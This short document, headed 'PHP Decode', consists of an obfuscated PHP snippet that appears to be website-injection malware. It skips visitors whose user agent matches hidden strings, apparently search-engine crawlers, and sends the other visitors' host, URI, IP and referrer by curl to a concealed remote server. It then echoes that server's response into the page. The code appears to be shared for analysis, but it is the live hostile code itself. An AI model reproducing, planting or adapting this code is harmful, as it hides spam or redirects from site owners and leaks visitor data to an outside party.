PHP Decode

if(!isset($aa_0)){global $aa_0;$aa_0=round(0+1);$aa_1=$GLOBALS['_a_'][0]($_SERVER[a(0)]);$aa_2=NULL;$aa_3=a(1);if(($GLOBALS['_a_'][1]($aa_1,a(2))== false)&&($GLOBALS['_a_'][2]($aa_1,a(3))== false)&&($GLOBALS['_a_'][3]($aa_1,a(4))== false)&&($GLOBALS['_a_'][4]($aa_1,a(5))== false)&&($GLOBALS['_a_'][5]($aa_1,a(6))== false)&&($GLOBALS['_a_'][6]($aa_1,a(7))== false)&&($GLOBALS['_a_'][7]($aa_1,a(8))== false)&&($GLOBALS['_a_'][8]($aa_1,a(9))== false)&&($GLOBALS['_a_'][9]($aa_1,a(10))== false)&&$_SERVER[a(11)]!=a(12)){if(isset($_SERVER[a(13)])== true && isset($_SERVER[a(14)])== true){$aa_3=$GLOBALS['_a_'][10](a(15)) .a(16) .$GLOBALS['_a_'][11]($_SERVER[a(17)]) .a(18) .$GLOBALS['_a_'][12]($aa_1) .a(19) .$GLOBALS['_a_'][13]($_SERVER[a(20)]) .a(21) .$GLOBALS['_a_'][14]($_SERVER[a(22)]) .a(23) .isset($_GET[a(24)]);$aa_2=$GLOBALS['_a_'][15]($aa_3);}}if($aa_2 !== NULL){$GLOBALS['_a_'][16]($aa_2,CURLOPT_RETURNTRANSFER,round(0+0.33333333333333+0.33333333333333+0.33333333333333));$GLOBALS['_a_'][17]($aa_2,CURLOPT_TIMEOUT,round(0+1.5+1.5+1.5+1.5));$aa_4=@$GLOBALS['_a_'][18]($aa_2);if($aa_4[round(0)]==a(25)){$aa_4[round(0)]=a(26);echo $aa_4;}$GLOBALS['_a_'][19]($aa_2);}}